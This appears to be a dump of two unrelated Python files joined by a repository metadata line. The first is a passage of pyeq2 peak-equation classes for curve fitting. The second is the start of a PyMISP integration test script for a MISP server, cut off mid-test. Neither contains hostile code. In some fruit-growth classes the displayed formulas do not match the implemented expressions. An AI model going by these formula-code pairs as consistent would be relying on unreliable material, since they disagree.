SpecificCodeCPP(self): s = "\ttemp = pow((x_in-b) / c, 2.0);\n" s += "\ttemp = a * (d * (1.0 / (1.0 + temp)) + (1.0-d) * exp(-0.5 * temp));\n" return s class PseudoVoight_Modified(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Pseudo-Voight Peak Modified" _HTML = 'y = a * (d * (1/(1+((x-b)/c)<sup>f</sup>)) + (1-d) * exp(-0.5 * ((x-b)/c)<sup>g</sup>))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd', 'f', 'g'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] f = inCoeffs[4] g = inCoeffs[5] try: temp = a * (d * (1.0 / (1.0 + numpy.power((x_in-b) / c, f))) + (1.0-d) * numpy.exp(-0.5 * numpy.power((x_in-b) / c, g))) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * (d * (1.0 / (1.0 + pow((x_in-b) / c, f))) + (1.0-d) * exp(-0.5 * pow((x_in-b) / c, g)));\n" return s class Pulse(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Pulse Peak" _HTML = 'y = 4a * exp(-(x-b)/c) * (1.0 - exp(-(x-b)/c))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp1 = numpy.exp(-1.0 * (x_in-b) / c) temp = 4.0 * a * temp1 * (1.0 - temp1) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = 4.0 * a * exp(-1.0 * (x_in-b) / c) * (1.0 - exp(-1.0 * (x_in-b) / c));\n" return s class WeibullPeak(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Weibull Peak" _HTML = 'y = a * exp(-0.5 * (ln(x/b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False independentData1CannotContainBothPositiveAndNegativeFlag = True def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * numpy.exp(-0.5 * numpy.square(numpy.log(x_in/b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log(x_in/b) / c, 2.0));\n" return s class WeibullPeakShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Weibull Peak Shifted" _HTML = 'y = a * exp(-0.5 * (ln((x-d)/b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-0.5 * numpy.square(numpy.log((x_in-d)/b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log((x_in-d)/b) / c, 2.0));\n" return s class WeibullPeak_Modified(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Weibull Peak Modified" _HTML = 'y = a * exp(-0.5 * (ln(x/b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False independentData1CannotContainBothPositiveAndNegativeFlag = True def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-0.5 * numpy.power(numpy.log(x_in/b) / c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log(x_in/b) / c, d));\n" return s class WeibullPeak_ModifiedShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Weibull Peak Modified Shifted" _HTML = 'y = a * exp(-0.5 * (ln((x-f)/b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd', 'f'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] f = inCoeffs[4] try: temp = a * numpy.exp(-0.5 * numpy.power(numpy.log((x_in-f)/b) / c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log((x_in-f)/b) / c, d));\n" return s class LogNormal4Parameter(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal 4 Parameter" _HTML = 'y = a * exp(-1.0 * (ln(2) * ln((((x-b) * (d<sup>2</sup>-1)) / (c*d)) + 1.0)<sup>2</sup>) / ln(d)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-1.0 * numpy.square(ln_2 * numpy.log((((x_in-b) * (numpy.square(d)-1.0)) / (c*d)) + 1.0)) / numpy.square(numpy.log(d))) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-1.0 * pow(log(2.0) * log((((x_in-b) * (pow(d, 2.0)-1.0)) / (c*d)) + 1.0), 2.0) / pow(log(d), 2.0));\n" return s class ExtremeValue4ParameterPeak(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Extreme Value 4 Parameter Peak" _HTML = 'y = a * exp(-x + b + c - c*d*exp(-1.0 * ((x + c*ln(d) - b) / c)) / (c*d))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-1.0 * x_in + b + c - c*d*numpy.exp(-1.0 * ((x_in + c*numpy.log(d) - b) / c)) / (c*d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-x_in + b + c - c*d*exp(-1.0 * ((x_in + c*log(d) - b) / c)) / (c*d));\n" return s class UVEDFruitGrowthRate(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "UVED Fruit Growth Rate" _HTML = 'y = ((t/5)<sup>(a-1)</sup>*(1-t/5)<sup>(b-1)</sup>)/(((a-1)/(a+b-2))<sup>(a-1)</sup>*((b-1)/(a+b-2))<sup>(b-1)</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = 'http://greenlab.cirad.fr/GLUVED/html/P1_Prelim/Math/Math_dynsys_202.html' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = True independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def __init__(self, inFittingTarget = 'SSQABS', inExtendedVersionName = 'Default'): pyeq2.Model_2D_BaseClass.Model_2D_BaseClass.__init__(self, inFittingTarget, inExtendedVersionName) self.exampleData = ''' t y 0.0 0.00 0.3 0.48 0.6 0.86 0.9 0.99 1.2 1.01 1.5 0.91 1.8 0.85 2.1 0.77 2.4 0.77 2.7 0.41 3.0 0.42 3.3 0.22 3.6 0.23 3.9 0.02 4.2 0.04 4.5 0.00 4.8 0.05 ''' def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] try: temp = (numpy.power(x_in/5.0,a-1.0)*numpy.power(1.0-x_in/5.0,b-1.0)) / (numpy.power((a-1.0)/(a+b-2.0),a-1.0)*numpy.power((b-1.0)/(a+b-2.0),b-1.0)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (pow(x_in/5.0,a-1.0)*pow(1.0-x_in/5.0,b-1.0)) / (pow((a-1.0)/(a+b-2.0),a-1.0)*pow((b-1.0)/(a+b-2.0),b-1.0));\n" return s class UVEDFruitGrowthRateB(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "UVED Fruit Growth Rate B" _HTML = 'y = c * ((t/5)<sup>(a-1)</sup>*(1-t/5)<sup>(b-1)</sup>)/(((a-1)/(a+b-2))<sup>(a-1)</sup>*((b-1)/(a+b-2))<sup>(b-1)</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b','c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = 'http://greenlab.cirad.fr/GLUVED/html/P1_Prelim/Math/Math_dynsys_202.html' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = True independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = c * (numpy.power(x_in/5.0,a-1.0)*numpy.power(1.0-x_in/5.0,b-1.0)) / (numpy.power((a-1.0)/(a+b-2.0),a-1.0)*numpy.power((b-1.0)/(a+b-2.0),b-1.0)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = c * (pow(x_in/5.0,a-1.0)*pow(1.0-x_in/5.0,b-1.0)) / (pow((a-1.0)/(a+b-2.0),a-1.0)*pow((b-1.0)/(a+b-2.0),b-1.0));\n" return s class UVEDFruitGrowthRateScaled(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "UVED Fruit Growth Rate Scaled" _HTML = 'y = ((c*t)<sup>(a-1)</sup>*(1-(c*t)<sup>(b-1)</sup>)/(((a-1)/(a+b-2))<sup>(a-1)</sup>*((b-1)/(a+b-2))<sup>(b-1)</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = 'http://greenlab.cirad.fr/GLUVED/html/P1_Prelim/Math/Math_dynsys_202.html' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = True independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = (numpy.power(x_in*c,a-1.0)*numpy.power(1.0-x_in*c,b-1.0)) / (numpy.power((a-1.0)/(a+b-2.0),a-1.0)*numpy.power((b-1.0)/(a+b-2.0),b-1.0)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (pow(x_in*c,a-1.0)*pow(1.0-x_in*c,b-1.0)) / (pow((a-1.0)/(a+b-2.0),a-1.0)*pow((b-1.0)/(a+b-2.0),b-1.0));\n" return s class UVEDFruitGrowthRateScaledB(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "UVED Fruit Growth Rate Scaled B" _HTML = 'y = d * ((c*t)<sup>(a-1)</sup>*(1-(c*t)<sup>(b-1)</sup>)/(((a-1)/(a+b-2))<sup>(a-1)</sup>*((b-1)/(a+b-2))<sup>(b-1)</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c','d'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = 'http://greenlab.cirad.fr/GLUVED/html/P1_Prelim/Math/Math_dynsys_202.html' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = True independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = d * (numpy.power(x_in*c,a-1.0)*numpy.power(1.0-x_in*c,b-1.0)) / (numpy.power((a-1.0)/(a+b-2.0),a-1.0)*numpy.power((b-1.0)/(a+b-2.0),b-1.0)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = d * (pow(x_in*c,a-1.0)*pow(1.0-x_in*c,b-1.0)) / (pow((a-1.0)/(a+b-2.0),a-1.0)*pow((b-1.0)/(a+b-2.0),b-1.0));\n" return s class UVEDFruitGrowthRateTransform(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "UVED Fruit Growth Rate Transform" _HTML = 'y = ((c*t+d)<sup>(a-1)</sup>*(1-(c*t+d)<sup>(b-1)</sup>)/(((a-1)/(a+b-2))<sup>(a-1)</sup>*((b-1)/(a+b-2))<sup>(b-1)</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = 'http://greenlab.cirad.fr/GLUVED/html/P1_Prelim/Math/Math_dynsys_202.html' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = (numpy.power(x_in*c+d,a-1.0)*numpy.power(1.0-x_in*c+d,b-1.0)) / (numpy.power((a-1.0)/(a+b-2.0),a-1.0)*numpy.power((b-1.0)/(a+b-2.0),b-1.0)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (pow(x_in*c+d,a-1.0)*pow(1.0-x_in*c+d,b-1.0)) / (pow((a-1.0)/(a+b-2.0),a-1.0)*pow((b-1.0)/(a+b-2.0),b-1.0));\n" return s class UVEDFruitGrowthRateTransformB(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "UVED Fruit Growth Rate Transform B" _HTML = 'y = f * ((c*t+d)<sup>(a-1)</sup>*(1-(c*t+d)<sup>(b-1)</sup>)/(((a-1)/(a+b-2))<sup>(a-1)</sup>*((b-1)/(a+b-2))<sup>(b-1)</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd','f'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = 'http://greenlab.cirad.fr/GLUVED/html/P1_Prelim/Math/Math_dynsys_202.html' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] f = inCoeffs[4] try: temp = f * (numpy.power(x_in*c+d,a-1.0)*numpy.power(1.0-x_in*c+d,b-1.0)) / (numpy.power((a-1.0)/(a+b-2.0),a-1.0)*numpy.power((b-1.0)/(a+b-2.0),b-1.0)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = f * (pow(x_in*c+d,a-1.0)*pow(1.0-x_in*c+d,b-1.0)) / (pow((a-1.0)/(a+b-2.0),a-1.0)*pow((b-1.0)/(a+b-2.0),b-1.0));\n" return s
burkesquires/pyeq2
Models_2D/Peak.py
Python
bsd-2-clause
104,834
[ "Gaussian" ]
d4c160448db7d71816585feb2ee289b9b3c5a4ab2c000ab626ce58ca40de3e58
#!/usr/bin/env python3 import os import json import uuid import subprocess import unittest from xml.etree import ElementTree as ET from io import BytesIO import urllib3 # type: ignore import logging logging.disable(logging.CRITICAL) logger = logging.getLogger('pymisp') from pymisp import PyMISP, MISPOrganisation, MISPUser, MISPRole, MISPSharingGroup, MISPEvent, MISPLog, MISPSighting, Distribution, ThreatLevel, Analysis, MISPEventReport, MISPServerError # Load access information for env variables url = "http://" + os.environ["HOST"] key = os.environ["AUTH"] urllib3.disable_warnings() def create_simple_event(): event = MISPEvent() event.info = 'This is a super simple test' event.distribution = Distribution.your_organisation_only event.threat_level_id = ThreatLevel.low event.analysis = Analysis.completed event.add_attribute('text', str(uuid.uuid4())) return event def check_response(response): if isinstance(response, dict) and "errors" in response: raise Exception(response["errors"]) return response def request(pymisp: PyMISP, request_type: str, url: str, data: dict = {}) -> dict: response = pymisp._prepare_request(request_type, url, data) return pymisp._check_json_response(response) class MISPSetting: def __init__(self, admin_connector: PyMISP, new_setting: dict): self.admin_connector = admin_connector self.new_setting = new_setting def __enter__(self): self.original = self.__run("modify", json.dumps(self.new_setting)) # Try to reset config cache self.admin_connector.get_server_setting("MISP.live") def __exit__(self, exc_type, exc_val, exc_tb): self.__run("replace", self.original) # Try to reset config cache self.admin_connector.get_server_setting("MISP.live") @staticmethod def __run(command: str, data: str) -> str: dir_path = os.path.dirname(os.path.realpath(__file__)) r = subprocess.run(["php", dir_path + "/modify_config.php", command, data], stdout=subprocess.PIPE, stderr=subprocess.PIPE) if r.returncode != 0: raise Exception([r.returncode, r.stdout, r.stderr]) return r.stdout.decode("utf-8") class TestComprehensive(unittest.TestCase): @classmethod def setUpClass(cls): cls.maxDiff = None # Connect as admin cls.admin_misp_connector = PyMISP(url, key, ssl=False, debug=False) cls.admin_misp_connector.set_server_setting('debug', 1, force=True) # Creates an org organisation = MISPOrganisation() organisation.name = 'Test Org' cls.test_org = cls.admin_misp_connector.add_organisation(organisation, pythonify=True) # Set the default role (id 3 on the VM) cls.admin_misp_connector.set_default_role(3) # Creates a user user = MISPUser() user.email = 'testusr@user.local' user.org_id = cls.test_org.id cls.test_usr = cls.admin_misp_connector.add_user(user, pythonify=True) cls.user_misp_connector = PyMISP(url, cls.test_usr.authkey, ssl=False, debug=True) @classmethod def tearDownClass(cls): # Delete user cls.admin_misp_connector.delete_user(cls.test_usr) # Delete org cls.admin_misp_connector.delete_organisation(cls.test_org) def setUp(self): self.user_misp_connector.global_pythonify = True self.admin_misp_connector.global_pythonify = True def test_search_index(self): # Search all events index = self.user_misp_connector.search_index() self.assertGreater(len(index), 0) # Search published index_published = self.user_misp_connector.search_index(published=True) self.assertEqual(len(index_published), 0, "No event should be published.") # Create test event event = create_simple_event() event = self.user_misp_connector.add_event(event) check_response(event) # Search by org name index_org = self.user_misp_connector.search_index(org="Test Org") self.assertGreater(len(index_org), 0) # Search by org name with different case index_org_lower = self.user_misp_connector.search_index(org="test org") self.assertGreater(len(index_org_lower), 0) # Search by org uuid index_org_uuid = self.user_misp_connector.search_index(org=self.test_org.uuid) self.assertGreater(len(index_org_uuid), 0) # Search by org ID index_org_id = self.user_misp_connector.search_index(org=self.test_org.id) self.assertGreater(len(index_org_id), 0) self.assertEqual(len(index_org), len(index_org_lower)) self.assertEqual(len(index_org), len(index_org_uuid)) self.assertEqual(len(index_org), len(index_org_id)) self.user_misp_connector.delete_event(event) def test_search_index_by_info(self): event = create_simple_event() event.info = uuid.uuid4() # No event should exists index = self.user_misp_connector.search_index(eventinfo=event.info) 